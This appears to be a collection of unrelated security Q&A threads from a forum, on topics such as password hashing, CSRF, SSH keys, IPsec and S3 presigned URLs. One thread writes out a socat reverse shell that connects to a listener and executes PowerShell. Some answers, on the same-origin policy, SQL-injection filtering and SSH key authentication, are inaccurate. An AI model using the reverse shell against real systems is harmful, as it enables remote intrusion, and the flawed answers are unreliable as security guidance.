Migrating password db off MD5 by chaining MD5 and Bcrypt? I have a legacy system currently storing unsalted MD5 passwords.  Unfortunately, some other controls are not in place (like the ability to expire passwords) and I'm trying to upgrade my algorithm to something newer and avoid prompting the user for a new password.

I am wondering what the impact will be if I just use something like a bcrypt on the current MD5 hash.  In other words:

User submits clear text password
Password is hashed using MD5
MD5 hash is hashed using bcrypt
Hashes compared for authentication purposes

Is this going to "lessen" the strength of the resulting bcrypt hash somehow?

What you would essentially end up with is MD5-ing the users passwords before feeding them into BCrypt.

While MD5 is a fast and badly broken algorithm, it does not remove any entropy from the passwords (unless they have more than 128 bit of entropy, but the password of the average user will have far less). So the entropy you feed into BCrypt is still the same.

When an attacker steals your database and wants to brute-force it, they still need to run BCrypt, just instead of running it on the one million most common passwords, they would run it on the MD5 hashes of the one million most common passwords. That won't take much longer, but it also won't take any shorter.

So as far as I see it there is really nothing wrong with your plan.


How are Ajax requests vulnerable to CSRF attacks if the Same-origin policy is applied? What I know about CSRF is that a malicious website tricks a normal user into issuing a request to a trusted website using a form.

I understand that is possible because we can post forms to different domains. However, I see posts of Stackoverflow that say that one should also protect AJAX requests using a token.

Doesn't the Same-origin policy force an AJAX request to be issued only to the domain that the script was loaded from?

I have heard of Cross-origin resource sharing, but if my understanding is correct it needs the web server to enable it, so a normal server shouldn't allow such request.

The request can still be sent, just not read:

  Cross-origin writes are typically allowed. Examples are links, redirects and form sumissions [sic].
  Cross-origin reads are typically not allowed.

So only the reading of the response is protected by the Same Origin Policy, not the making of the request itself, although only certain headers can be used cross domain without CORS. For example, only the following headers are allowed:

  Accept
  Accept-Language
  Content-Language
  Last-Event-ID
  Content-Type

Others, such as X-Requested-With are not allowed so the presence of a custom header could be checked as validation that the request wasn't made cross domain or from a non-AJAX form.

Be aware that an old version of flash included a vulnerability that allowed headers to be set that would usually be restricted by the browser, and there was another vulnerability that allowed cross domain requests to be made without a valid crossdomain.xml to allow the request, so a token based approach may still be the most secure method of preventing CSRF.


Could hashing prevent SQL injection? On a whim I've recently decided to throw up the first proper website I created onto my local web server I use for development. I thought it'd be a great environment to throw some SQL at for injection as I know there are flaws and the site was only really meant for my own personal development.

Anyway, to get to the point, after a few attempts the furthest I could get was to have the page return an error with the statement. I was trying to get into a specific test account I set up, (if the result returns more than one account an error's thrown, so I didn't expect selecting every username where 1=1 to work), but every time I got a response as if I had entered a normal, incorrect password. I took a look at the PHP code and turns out I was hashing the password before the query so the attack was being hashed before it could do any harm.

Being new to web security as a whole, and having an interest in web development, I was wondering whether there are any vulnerabilities with this method of SQL injection prevention as I expect to have not thought something through. Just to clarify, this isn't meant to be a "look guys I've found something new" as there are plenty more brighter sparks in information security than myself, who would have likely figured this out already, but I'd like to know why this likely isn't suitable as a security mechanism.

So, hashing the user password before entering it into the query is a coincidental security feature to prevent SQL injection, but you can't necessarily do that with all user input. If I'm looking up a Customer by their Name and I have a query like

Select * from Customer Where Name like '%userInput%'

If I set userInput as a hashed version of what was typed in, it wouldn't work correctly even if Name was also hashed in the database, it would only work for exact search query. So if I had a Customer with Name "Sue" and I typed in a search for "sue", it wouldn't work. I also wouldn't know the name of the customers unless there was an exact match in my search, which isn't practical.

The way you want to prevent SQL injection is to not make your queries like above, you'll want to process and parameterize inputs into a query, stripping out things like =s and other symbols that don't make sense in context of the input. A good guide for preventing SQL injection can be found here.


Received letter from attorney stating they found a pirated copy of software on my computer based on my MAC address Is this correct? Can a MAC address lead a company to the specific user?

They have my phone number and an old email address for me. The information they sent me is showing a MAC address and the specific number of times the pirated software was used and the dates it was used.

The dates coincide with dates that files were sent via internet to another person. I am being threatened with a lawsuit unless I purchase their product license which I cannot afford. Can the company prove that it was me using the pirated version?

I am being threatened with a lawsuit...  Can the company prove that it
  was me using the pirated version?

That is a legal question which no one here can answer (and you'd be best getting professional legal help with).  However, several aspects of your question do touch on interesting aspects of security-related license DRM issues, so let's talk about those a bit.

  Can a MAC address lead a company to the specific user?

In general, no.  However, a MAC address can be used as a compelling indicator as to which computer something happened on.  That's the reason that most "licensing software" used to use MAC addresses to "identify" the computer they were installed upon.  Because MAC addresses are unique-ish, and because altering them is not brain-dead easy (and used to be quite hard), it's often treated as an identifier of the system that something happened on.

  They have my phone number and an old email address for me. The
  information they sent me is showing a MAC address and the specific
  number of times the pirated software was used and the dates it was
  used.

It is very likely that files generated with this software include these things as metadata - again, primitive DRM practices do love the MAC address.  If the company found files you generated, which had grabbed your email address (did you register a support account?) and included the times those files were operated on, then they'd have what they needed to gin up a letter for you.

But the lesson here is, every file you generate with software may include all sorts of metadata you didn't expect to be in there.  Caveat emptor.


What security benefits does ALPN bring to TLS? I've been recommending Application-Layer Protocol Negotiation (the successor to Next Protocol Negotiation) to people for a while, but recently realised that I actually don't have a concrete example of its security benefits, despite the feature being widely reported as a "security improvement" as well as a speed bonus in some infrastructure scenarios. Most articles on the matter are quite nebulous in regard to the security aspects, and I didn't spot an obvious answer in the RFC.

How does ALPN support improve the security of TLS and the system overall? I understand that it reduces the connection overhead and therefore makes it more feasible to implement everywhere, but this isn't really a direct improvement to the protocol's security.

ALPN by itself does not offer any security benefits or speed improvements. But, if your application needs a negotiation of the application protocol then this negotiation can be done already inside the TLS handshake and thus does not need additional roundtrips. And this is where the speed improvement comes from.

The major use of ALPN is inside the browsers to tell the server that the client supports HTTP/2. If the server supports this too it will tell the client inside the TLS handshake already so that the client will start with HTTP/2 immediately after the TLS handshake instead of needing another negotiation. And since HTTP/2 offers more performance than HTTP/1.1 independently if TLS or not is used the choice of this protocol over HTTP/1.1 adds to the speed improvement.


Alternative to Qubes OS network domain for a server I know that Qubes Os is not suitable for a server use, but some of its features are quite interesting for that. In fact, all the network drivers are contained in a VM that run a different Linux based system and the connections from the "main OS" to the network are made through TCP/IP with that VM. Moreover, network drivers have been moved out from the main OS kernel. That allows to prevent the use of a potential bug in the network driver.

How can I reproduce the same configuration ?
I thought about using Xen with a virtual network, but I would like to know if somebody already made it.

"That allows to prevent the use of a potential bug in the network
  driver."

In the host ...
The network VM is now the vulnerable part and certainly one of the more important VM's.

  "How can I reproduce the same configuration ? I thought about using
  Xen with a virtual network, but I would like to know if somebody
  already made it."

Depends on the hypervisor and OS. You are looking for something like PCI passthrough, DDA, SR-IOV


Which attribute in DN is commonly used to specify the class/type/usage of certificate/end-entity? I have a private CA which provides certificates for three types of IoT devices (Type1, Type2 and Type3). On the IoT device certificate's subject DN, which attribute can be used for specifying this type information? Is there any existing use cases similar to this?
PS: CN field contains the device identifier. Looking on just the identifier, one cannot obtain the type information. Hence I have to provide the type info in a separate attribute.

That depends on the software that will check the certificate.  If that is under your control and especially if you (or your colleagues) are developing it, then you can simply pick any attribute.  However, picking something like Country would be rather unconventional.
While there are a long list of possible attributed defined for X.509 certificates, you are probably best restricting to the most common ones especially if you want to reference them by name instead of OID.  Many of these relate to personal names/titles and geographical addresses and reattributing these to your use would be odd.  Of all of them, the Organisational Unit attributes is probably the best for your use case.


How do pendrives like IronKey protect against password guessing? For a pendrive like Kingston IronKey, how can the pendrive block multiple password guessing attempts?
Couldn't the person just disassemble the pendrive, make 1:1 copies and try again and again to access the data?
I'm thinking on a scenario like Lost Passwords Lock Millionaires Out of Their Bitcoin Fortunes, where the bounty of 200 million would be worth a significant investment of resources and where the owner could approach the manufacturer openly, since there's no foul play involved. It might be a safe assumption that the owner partially remembers the password.
Of course, Kingston could reject any cooperation just to show off how safe they are.

No, the pendrive (IronKey) in this story cannot be disassemble and here's why...
The original IronKey was FIPS-140-1 compliant and the current ones are FIPS-140-2 or FIPS-140-3 compliant.  These keys are tamper-resistant, because of the design of their metal cases.  The encryption key is also stored in a tamper-resistant cryptochip module, which has a self-destruct function in case of physical attacks.
Here are some basic details from vendor documentation:
Device Password Protection: The device password is hashed using salted SHA-256 before being transmitted to the IronKey Secure Flash Drive over a secure and unique USB channel. It is stored in an extremely inaccessible location in the protected hardware. The hashed password is validated in hardware (there is no “getPassword” function that can retrieve the hashed password), and only after the password is validated is the AES encryption key unlocked. The password try-counter is also implemented in hardware to prevent memory rewind attacks. Typing your password incorrectly too many times initiates a patent-pending “flash-trash” self-destruct sequence, which is run in hardware rather than using software, ensuring the ultimate protection for your data.
Here are some more details on the IronKey self-destruct function
Self-Destruct Data Protection:

Secure volume does not mount until password is verified in hardware
Password try-counter implemented in tamper-resistant hardware
Once password try-count is exceeded, all data is erased by hardware

Physically Secure

Solid, rugged case
Encryption keys stored in the tamper-resistant IronKey Cryptochip
All chips are protected by epoxy-based potting compound
Exceeds military waterproof standards (MIL-STD-810F)

Additional Security Features: USB command channel encryption to protect device communications


Is it possible to tell if a file's message digest is MD5 or SHA-256? There's some old data encrypted with OpenSSL 1.0.2, but now OpenSSL is at 1.1.0.  I understand from OpenSSL FAQ USER3 that an old file can be decrypted with 1.1.0 by using -md md5.  But let's say you had newly encrypted files too?  Then some would have a SHA-256 message digest, and some would have an MD5 message digest.  Is there a way, looking at the file before using 1.1.0 to decrypt it, that you can tell which was used to encrypt it, 1.0.2 w/MD5 message digest, or 1.1.0 w/SHA-256 message digest?

No, you cannot tell just by looking at the encrypted file. The encrypted file itself is nothing more than the raw ciphertext output of OpenSSL. It does not retain any metadata (such as a hash of the key, the algorithm, or the IV) other than the salt, which is included by default. The hash algorithm used to convert the input password into the key (and IV) is not recorded anywhere in the resulting message.
Be aware that OpenSSL is not supposed to be used for secure encryption. It is a utility for testing the OpenSSL library only. It has many security weaknesses when used for encrypting sensitive data on the command line. The lack of key stretching, integrity, metadata, and unique IV come to mind.


WPA2 and ChopChop attack I know that WEP is vulnerable to the ChopChop attack. Could the ChopChop attack be carried against WPA2-PSK as well? Some Internet articles suggest this possibility, I want to be sure though.

That's not exactly true. The attack can be performed against WPA not WPA2. To be more concrete against TKIP. But the attack can be only done under very special circumstances and is not conclusive. I found an amazing source about this. Is in spanish so I tried to translate it doing my best.

TKIP system is using RC4 protocol, the same as WEP with two variations:

The first is that the encryption keys are derived from the snonce and anonce values, then they are different from the authentication keys. The second is that encryption of a packet is not performed with only one key plus the initialization vector but an extended initialization vector, ie the IV plus a value known as TSC (TKIP Sequence Counter) is used. This 48-bit value changes at the same time as the IV is changing so that an IV+TSC is not reused in a channel for a lot of time (years probably).

If you are able to know the key used to cypher a packet, this can't be used again if you don't increment TSC. If the TSC is incremented then the key used to cypher the packet is invalidated. To be able to use again the key used to cypher a packet is needed that the Access Point support 802.11e QoS (Quality of Service) and WMM (Wifi Multimedia) or WME (Wireless Multimedia Extensions). These extensions can divide the bandwidth in eight channels with different priority on each one.

So based on this, if you find the key used to cypher a packet on a specific channel, with an IV and a concrete TSC, it will be used again to send a packet on other different channel. You can inject until seven valid packets while doing it before the key renegotiation period expires.

I also found this other post talking about this: Is WPA-PSK AES safer than WPA-PSK TKIP-AES?


Understanding Same origin policy I am trying to understand same origin policy better. From what I understand same origin policy restricts code from one "origin" not access data from another "origin". What I am trying to understand is the context of this code. I can see that code across two tabs (example1.com and example2.com) cannot access data in each other's DOM. What about a page that loads code from both these sites? Is the restriction/security still hold in that case? This is a very valid use case as every site nowadays has code loaded from twitter, Facebook, google+ at the very least in addition to code from example1.com. So can code from twitter access the cookies set by example1.com? Or does same origin policy hold even in this case?

Of course in this case I am assuming the code is loaded from twitter, Facebook directly and not relayed from the example1.com server. I am also guessing the danger of XSS exists if the example1.com is relaying the code for twitter, Facebook etc. Am I right?

If I am right, how does the browser separate out the dom data for code loaded from each site when they are all loaded into the same page? How does it keep track of which data is allowed to be accessed by which code?

Going off your example of Twitter and Facebook, both of their army of scripts aren't reading the DOM or interacting with other scripts. If either tried to, say, get the value of a variable or something like that, then they'd be violating SOP.

The origin of a script is where it's included. So if you included Google's analytics scripts on your page it can interact with the DOM -- that's exactly why you can load jQuery from Google's CDN and have it work.

Here's a scenario. Let's pretend you own server one, and you want to include a cool "Like my page!" button from server two. In order for server two's button to work, it needs to load code from their servers. So, if you include <script src="servertwo.js"></script> you're including an actual file that can change your DOM because its "origin" is your page. It's "origin" is your page, even though the file is hosted on another server because your page is the one saying, "I want to use this file but it's located elsewhere."

If server two's JS file tried to load an additional script into your page, by inserting something like this: <script src=anyserverexceptforyourown.js"></script> then it'd be violating SOP if that script tried to change the DOM. Even though you loaded the original script, the second script that server two's JS tries to load didn't originate from your page like in the first portion of the example, so its origin would be from server two not your server.

On my personal website I have multiple scripts. Some of the scripts look like this:

<script src="http://www.ericlagergren.com/javascript.js"></script>

others look like this:

<script src="https://www.google-analytics.com/analytics.js"></script>

both of these "originate" from my website because I referenced them and asked to include them in my page.

If either of those two scripts tried to load an additional script into my page that third script would be violating SOP because I didn't explicitly ask to load it in my page. Make sense?


What are the security implications of rewriting SSH_ORIGINAL_COMMAND to allow rsync run from rsnapshot cron job? We have the following authorized_key file that we sync across all our hosts to use with our rsnapshot cron job:

from="192.168.1.337",no-port-forwarding,no-X11-forwarding,no-agent-forwarding,no-pty,\
command="rsync --server --sender -logDtprRe.iLsfxC --numeric-ids -- . \"${SSH_ORIGINAL_COMMAND#* . }\"" \
ssh-rsa AAAAB3NzaC1yc2EA...ER9+vQ== root@192.168.1.337

Last argument may differ from host to host (meaning you could get access to any file you like).

Is there any safer way use rsnapshot in a cronjob?
Is using double quotes reasonably save against injecting arguments?
Is there a possibility of reading relevant data via /proc or /sys?
Can the rsync server modify any files on the host?
Is getting password & private keys from insides the files (config files, /etc/password) being rsynced the only reasonable attack (guess we would need a reverse encfs mount on the host to mitigate this risk)?

Note: the arguments (incl. --server --sender) are copied from what rsync within rsnapshot calls over SSH, that is also why I am pretty unsure if someone e.g. could e.g. delete/overwrite arbitrary files over the rsync protocol (e.g. /root/ssh/authorized_keys) making the whole effort pointless.

[Disclosure: I wrote sshdo which is described below]

As mentioned above, rrsync can be used to control what rsync can do over ssh but, like most uses of ssh forced commands, it's limited to a single rsync command per authorized key (or single directory anyway). What if you want to rsync multiple areas of the file system? What if you want to execute some non-rsync commands as well? How many authorized keys would you need to create and install?

Another way to control what rsync can do over ssh is to use a generic command whitelisting control for ssh.

There's a program called sshdo for doing this. It controls which commands may be executed via incoming ssh connections. It's available for download at:

http://raf.org/sshdo/ (read manual pages here)
https://github.com/raforg/sshdo/

It has a training mode to allow all commands that are attempted, and a --learn option to produce the configuration needed to allow learned commands permanently. Then training mode can be turned off and any other commands will not be executed.

It also has an --unlearn option to stop allowing commands that are no longer in use so as to maintain strict least privilege as requirements change over time.

It is very fussy about what it allows. It won't allow a command with any arguments. Only complete shell commands can be allowed.

But it does support simple patterns to represent similar commands that vary only in the digits that appear on the command line (e.g. sequence numbers or date/time stamps).


Suspicious Redirect to malicious website While using a 3rd party platform my company is working with (e.g. platform.com) the following issue appeared.
I clicked on a button in order to locally download an excel sheet (report) that was supposed to redirect me first to platform.com/reporting/excel.asp and then download the file to my PC.

Instead, it redirected me to the page

https://piratebuhta.cc/admin/reporting/excel.asp

and no file was downloaded locally. I tried to find more about the page and I found out that has poor reputation associated with scammers. I tried this many times and the same thing appeared. None of my colleagues, who have access to that platform had the same activity.
I clear my cache and the problem is now resolved. But I can't really understand what happened.

How and what may I search to find out what happened? Could it be a malicious cookie or script saved in my cache?

Seems like DNS cache poisoning to me. If your computer is running windows and it's not connected in an Active Directory, run in cmd "ipconfig /flushdns", without the "". If you are using Linux or MacOS, google the equivalent command and tell me in the comments if it helped, or we have to think of more options.


Security server log review We have a Kiwi Syslog server for Centralized logging purposes.
Currently, our focus is only on monitoring, reviewing and reporting User Account/Password Violations.

We already used the necessary filters based on the event ID in this link - https://support.microsoft.com/en-us/kb/977519.

Now, our question is though we're already receiving the alerts. How do we identify alerts like Windows Event ID 4625 - "An account failed to log on" is related to a security attack/breach, or if they're just false alerts?

If you really need to distinguish between real security incidents and false positives, you can build a solution implementing Bayes classifier algorithms and properly train it. Such classifier should parse as much input data as possible, and "score" certain events, behaviors etc. to positive and negative points. Eg.:

first password authentication error in given time range -> +20
another password authentication error in the same time range -> +20
password authentication error for different user -> +40
successful password authentication in 2 minutes from the first failed attempt -> -50
successful password authentication for different user -> +35

Then you can define thresholds, eg. over 70 points will result in email alert etc.


Alternative to AirPcap for Linux? I need to sniff WiFi packets, but according to AirPcap FAQ page, it just supports Microsoft Windows, not other platforms. Does any alternative of this product work in Linux?

Please don't offer Alfa WiFi Adapter, because it cannot receive some packets!

You can use to normal wireless cards and change the mode to Monitor mode .

Ralink and Atheros cheapests are best choices .

Aircrack-ng's website have compatibility drivers page, since that proposed good device for WiFi sniffing data and raw packet injection, you can use that :

Best wireless USB proposed devices


Possible Security threats and mitigations while accessing `/root` through any browser? I asked this question on Unix Stackexchange. How to access /root directory from a browser?

I got an answer (in a comment by @dsstorefile) that It can be accessed either way :

By running chmod 0777 root
By running browser as a Root User.

I think It's just a listing of the contents in the directory (for that I maybe wrong) but I want to know :

What could be Possible security risks/threats associated of accessing /root directory from the browser in each case ?

The issues are that anyone on your system will be able to maliciously elevate themselves to root privileges. Doing either of these things is a very bad idea. To address your specific scenarios:

Making root's home directory mode 0777 means that all users will be able to read, write, enter, and execute any files in that directory. Because many sensitive, privileged processes use that as their home, making it world-writable could allow any unprivileged process to tamper with root's home. For example, malicious code in /root/.profile would be executed with high privileges any time the root user logs in. There are many ways to exploit you in this scenario.
Running your browser as root is also extremely dangerous. It means an exploited browser will run as root, rather than as your normal user. This is not a hypothetical threat. Someone actually did run their browser as root and got infected with ransomware! Additionally, a regular browser is not designed to run with a privileged context and so does not take the necessary security precautions to prevent an unprivileged local user from exploiting it. For example, if you run your browser in your regular user's environment, but as root, then a modified configuration file or browser extension (in your regular user's home) could exploit it to elevate to root.

You could make /root mode 0755, which would make it writable only by root, but would allow everyone else to enter and read it (including your browser). Normally, it does not contain any sensitive information, but it is still not a great idea to let everyone look inside it.


Isn't separating privileges less useful on a PC, as all my critical data is in my normal user account? Separating privileges, i.e using a non-admin account and escalating only when needed, seems to be something everyone agrees on. I can roughly understand why it's important on every system : prevent an attacker from modifying the system and taking complete control of the machine, and on shared systems, prevent a user's mistake from propagating to the others.

However, on a personal computer, all the data I care about is in my user folder, which is accessible without admin rights by every program running on the computer. Basically, if a malware runs, I've lost, be it with admin rights or not. All the damage can be done without admin rights, and reinstalling the system to nuke the malware is easy.

In this context, why is using a non-admin account so important ?

Please keep in mind that I already know some of the reasons and am not advocating going back to XP's default policy. I just want to know if there are some reasons I missed.

Relevant xkcd :

What Julian says is not correct.

The odds of malware getting a foothold are unchanged.  If you can encrypt all your data, so can malware.  If you can send packets, so can malware.

What's different between running as an admin and a less privileged user is the effort that malware must expend to persist or survive when you run antivirus software to clean up.   If you're running as admin, then it has far more places, and more powerful places, into which to hook, making the job of the AV software much harder.


Which PFS Group is recommended for IPSec configuration? I can't find much information on PFS (Perfect Forward Secrecy) Groups so I'm unsure  what to suggest for a secure IPSec configuration.

Any suggestions on PFS groups that aren't recommended?

What is the implication for using better PFS groups?

What you refer to as "PFS Groups" are more precisely Diffie-Hellman groups. The Internet Key Exchange (IKE) protocol uses Diffie-Hellman to derive key material for both the IKE and IPsec security associations (SA). With IKEv2, the keys for the first IPsec (or Child) SA are derived from the IKE key material (there is no DH exchange during the IKE_AUTH exchange that follows the initial IKE_SA_INIT exchange).  A separate DH exchange may optionally be used with CREATE_CHILD_SA exchanges for Child SAs created later or their rekeyings. Only to rekey the IKE SA itself is a DH exchange mandatory (so even if no separate DH exchange is used for each Child SA, will their key material be derived from new DH secrets once the IKE SA has been rekeyed).

The currently defined DH groups for IKEv2 are listed in Transform Type 4 - Diffie-Hellman Group Transform IDs. In 2017, RFC 8247 was released with recommendations regarding algorithms for IKEv2, including Diffie-Hellman groups in section 2.4. According to it, the groups to avoid are

the MODP groups below 2048-bit (groups 1, 2 and 5), because even group 5 (1536-bit) is assumed to be breakable by nation-state-level attackers in the near future,
and those MODP groups with prime order subgroups (22, 23 and 24), as group 22 was already shown to be weak (breakable by academia).

So for MODP at least 2048 bit and for ECP at least 256 bit should be used. For a general assessment of the cryptographic strength of the groups keylength.com might be useful.

  What is the implication for using better PFS groups?

Two issues may arise:

The larger the group, the more computationally expensive the key derivation (this is mostly a concern with MODP groups), so as a gateway operator this might be a problem if there are lots of clients creating SAs concurrently (hardware acceleration can help).
Large MODP groups can potentially cause IP fragmentation because the IKE_SA_INIT messages, which transport the public DH values, exceed the MTU (in particular for clients that also send a lot of certificate request payloads). This is a problem if such fragments are dropped by intermediate firewalls/routers. IKEv2 fragmentation (RFC 7383) doesn't help here as it exclusively operates on encrypted messages (i.e. starting with IKE_AUTH).


Are there any customizable vulnerability notification services? Are there any services (free or otherwise) that provide information on new vulnerabilities for a given piece of technology?

For example, say I want to be updated of all new Wordpress vulnerabilities via RSS or email? What would be my best option?

2020 update: CVE Details has silently stopped being updated.

CVE Details allows you to "generate a custom RSS feed or an embedable vulnerability list widget or a json API call url", filterable on a large range of fields including product.


What is the value in asking for a second password for sensitive operations? When a user has logged in to a system using their primary password, is there any value in asking for a distinct second password when performing sensitive functions?

Does it provide any benefit over asking for their primary password again?

I consider a second password to not be two factor authentication (2FA), but in what way does it benefit (if at all) over asking for the password they just used to log in?

Agreed. Definitely not two factor.

The three factor classes are something you know (a password), something you have (a security token of some sort) or something you are (iris pattern, fingerprint etc).

Whether a second password is of any use depends on your application and environment.

In many ways the 2nd password may be less secure from a social aspect since it is less often used so more likely to be written down. How less secure would depend on whether an potential attacker is likely to be hanging around your users.

If you are worried about a brute force attack then having two passwords would help, but no more than insisting the first was as long as the combined password lengths. Brute force can easily be detected and prevented in your application.

It might offer limited protection from sniffing if used infrequently enough, since the sniffer might not have been running long enough to see both passwords. Although if you are using SSL then it implies either a man-in-the-middle attack, or a compromise of either the users or servers environment. Either way, you have problems.

Asking for re-entry of the original password does ensure that the person who is about to perform the high security function is still the same as the one who logged on. Useful in some circumstances.

Finally, it may give the perception of greater security, which may be of marketing value in some circumstances.

Overall though, the chances are that any increase in security is marginal.


Client verification with PKCS#7 When a client sends you a pkcs#7 file to communicate with you, Is this because the file has their public key(certificate) and their chain and to avoid the confusion on your side what needs to be there in your truststore?

Note: The certificate is a internally issued by the client.

In other cases other external clients just send their certificate(issued by well known CA) and ask us to import it.

What needs to be in your truststore is a certificate that you trust for this specific communication. You may want to use one or more CRL's or OCSP connections as well.

Basically you are trying to build a certificate chain to a trusted certificate, while validating all certificates in the chain. So those certificates should have correct dates, they should not be revoked and they should of course verify with the certificate of the issuer.

Validating with a well-known CA is great, but mind that you don't want to verify a message send by just any party that has a certificate by a well known CA. Anybody can obtain one of those.

So you may want to explicitly check the subject field, use certificate pinning or something otherwise unique when verifying the signature.

How many certificates are delivered within the PKCS#7 CMS can vary. They are just used to create a chain to a trusted certificate.

So in your case you may want to establish trust for the CA certificate that has been assigned the task to secure this particular message (which I presume is signed). This is an out of band action (i.e. you may need to pick up the phone to verify the certificate fingerprint). If there is no CA specific for this task, you could put the leaf certificate in the trust store.


Found DSA and RSA private keys hard-coded in a file during penetration testing. How to use them for SSH authentication? We are performing a penetration test as part of a study where the hardware unit listens for connection over FTP, SSH, and Telnet. All of these are password-protected. The hardware unit must first be loaded with a small 4 MB "utility" that tells the hardware to listen on a specific IP address over these services.

We have hex-dumped this utility and found a lot of configuration type files on there. We also discovered the RSA private key and the DSA private key. We should be able to login using these keys instead of the password as shown here:

https://debian-administration.org/article/530/SSH_with_authentication_key_instead_of_password

However, we are unsure how do we go about doing this? Usually the server has the public key encoded in it and the client provides the private key. We found the private key on the "utility" that is supposed to be loaded on the hardware unit. And we don't have the corresponding public key. Any ideas how we could proceed?

If there are configuration files for ssh server, they are probably server host keys and you are not able to log in with then anywhere. Only to perform Man in The Middle attack, if you would be able to spoof DNS/DHCP.


Why do smartphones limit the amount of fingerprints that can be recorded? On my Android device, I can store up to 3 fingerprints to unlock my phone with the fingerprint scanner that is built in to the home button. On iPhones it's 5 fingerprints if I'm not mistaken. But most people have 10 fingers and I can't imagine the performance difference between checking through 10 rather than 3 hashes of fingerprints to be significant.

Is there a security reason for smartphones to limit the user to recording only 3 or 5 fingerprints?

My best guess is that allowing the user to record more fingerprints might increase the possibility of a false positive, or that maybe there is a side channel vulnerability through allowing more fingerprints to be recorded that I didn't think of.

No, theres no specific security reason to limit the number of fingerprints stored.

However, given that these fingerprint modules normally is a HSM, like a smart card, storing fingerprints, the number of, and the size of the secrets such a fingerprint module can store, is limited.

Note that a fingerprint template can also become quite a large, because storing a fingerprint template is not like storing a password hash in a password database. Everytime a fingerprint is read, this will give a completely different result than the previous read, because you are not putting the finger exactly as you did when you registred you, or "enrolled" yourself.

Now, the fingerprint reader needs to make a difficult calculation, on the input fingerprint image, and the template image, to come out with a conclusion if the fingerprint just read, is enough similiar to the fingerprint currently registred, to succeed authentication. This similiarity, can be expressed as a input to the authentication function, where you can select how "sensitive" the authentication should be (too sensitive = it will reject your finger too often, too weak = it may allow a unauthorized person to log in as you)

This is also the reason the fingerprint reader asks you to put your finger multiple times to enroll, because the reader uses these to calculate a optimal "sensitivity" value for your finger, that is stored inside the template.

Think like this:
You take out your camera and take a photo of your house.
This photo you put in your portfolio and store as "this is my house".
After a couple of days, you see a house, and want to know if its your house. You take a photo of the house.
As you might understand, you can't just bitwise compare these 2 images, or compare its SHA256 hash, as the images will be slightly different angles, rotation and light, even if they are a picture of the same house. If you did, "authentication" would always fail.

You need to make a complex mathematical calculation on the picture, to find out if the pictures are of the same object or not.

This means the "template" of a fingerprint reader, can get quite a large, depending on the algoritm used in the fingerprint reader.

There ARE fingerprint readers, that can encrypt a template using its internal key, and then export the template as a AEAD (Authenticated Encryption with Associated Data) that is then stored in standard unprotected memory (that it exist gigabytes of).
But think of the security consequences of this. This would mean, that you could "steal" this AEAD with a enrolled fingerprint image, and later, lets say when you have sold that phone on Craigslist and the new owner has enrolled his fingerprint, just use the stolen AEAD along with your finger, to unlock the phone.

Thats why the phones must store the fingerprint templates inside secure memory, and thats why the number of fingerprint templates are limited.


Getting an Interactive Powershell Reverse Shell Using socat I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell.
Kali Listener
# socat - tcp4-listen:1338

Windows (socat.exe used from here: https://github.com/StudioEtrange/socat-windows)
socat.exe tcp-connect:192.168.33.131:1338 exec:powershell.exe,pipes,pty

I get a connection but no shell

And Powershell starts on my Windows machine:

Does anyone know why this doesn't work?

Seems work fine in my case between virtual machine macOS (VMware Workstation Pro 16) and Windows 10 host.


Practically, when good password policies are used, how much is gained from SSH keys? Background: I am running my own servers for personal use, I have complete control over all passwords used and for the foreseeable future things will stay this way.

I understand the arguments for why SSH keys are a stronger option, specifically that the entropy is far greater and bruteforcing is effectively impossible. Obviously, even with a good password, the entropy will be lower.

My question is this: If a good password is used, and all other security practices held equal, does a server administered by a single person gain much practically by switching to SSH keys? i.e., would the increase in entropy affect the probability of successful attack in any significant way? Are there factors I have not considered here which would lend a preference for one method versus the other?

To clarify, I am asking in terms of common threats a relatively small webserver with no interesting financial or personal information might face, less so than a motivated and targeted attack.

It might help to think of the authentication to SSH in stages and layers.

The first stage (building the first layer) involves establishing a symmetric encryption channel.  This is done by using something called Diffie-Hellman (explanation here.) Once the encrypted channel is formed authentication starts.

Password Auth

In a traditional password example, the password is then passed to the server over this encrypted channel.

The risk here is that the password is reversible if you happen to have knowledge of the symmetric key that was negotiated.  Further the password has to exist in some state on both systems.

Key Authentication

In the key model, it's more complicated but at the core it uses the asymmetric crypto properties: the server encrypts a nonce with the public key component, and since the client should have the private key it can decrypt the nonce and send back the md5hash to the server to verify it's identity. (Digital Ocean has a good explanation.)

Tl;DR:  in the password case, both sides must have knowledge of the password.  This leads you open to a leak/reuse style attack on the password.

In the key case, only the public key is required to verify the user.  The private key stays private and only needs to exist on the client side.  You can share the public key with as many services as you like and not change the risk associated with using the keypair.


How to make S3 Presigned url single use only? Issue: I have a presigned url which is valid for 15 minutes. Upload can be initiated any number of times if the presigned url is captured in this time frame.

I want to make an S3 presigned url for upload as secure as possible, so that uploaded file is not modified. I always need first version.

Solutions I researched from various sources:

Have upload in one folder of the bucket and then use a lambda (only once for the first time) to move it to another folder which eventually consumes the uploaded file.
Cons: introduction of lambda and its cold start for even a small file.
Have a version check in all the places where S3 file is consumed.
Cons: Too much code change and version needs to be maintained somewhere along side filename.

Any other ideas?

Solution #1 is viable but only if the source bucket is versioned and the Lambda function writes to a database that supports strongly consistent reads, because that's the only way you can tell authoritatively whether you're doing it "only once for the first time."

When you ask S3 about the existence of an object for the very first time ever using a GetObjectMetadata/HeadObject request, you are guaranteed to get an accurate answer -- the object exists, or it doesn't.  Subsequent requests within a "short" (but undocumented) time may not reflect the latest truth from the bucket's master index.

  Amazon S3 provides read-after-write consistency for PUTS of new objects in your S3 bucket in all Regions with one caveat. The caveat is that if you make a HEAD or GET request to a key name before the object is created, then create the object shortly after that, a subsequent GET might not return the object due to eventual consistency.

  https://docs.aws.amazon.com/AmazonS3/latest/dev/Introduction.html

"a subsequent GET might not return the object" means by inference that the Lambda invocation for upload #2 has no guaranteed way to authoritatively determine that it is indeed not handling the first upload of the object, because the target object may appear to be absent when it is in fact already present.

If it is of significant importance that only one upload -- the first upload -- actually be used, then an external database is required.

The Lambda cold start issue is pretty insignificant in languages with a lightweight environment like Javascript, which coincidentally has an SDK that is much better written than most other languages.  Python is fast, too, but the SDK is inferior.  Java should be avoided in Lambda functions unless you are repurposing existing Java code.

This would be the solution I would adopt, but I would note that the 15 minute expiration should be unnecessary.  The expiration time of a pre-signed URL is as precise as the clock on the system running the code that generated the URL, so if your server clock is accurate and you generate a URL that expires in 10 seconds, then that URL expires in exactly 10 seconds from the time it was created.

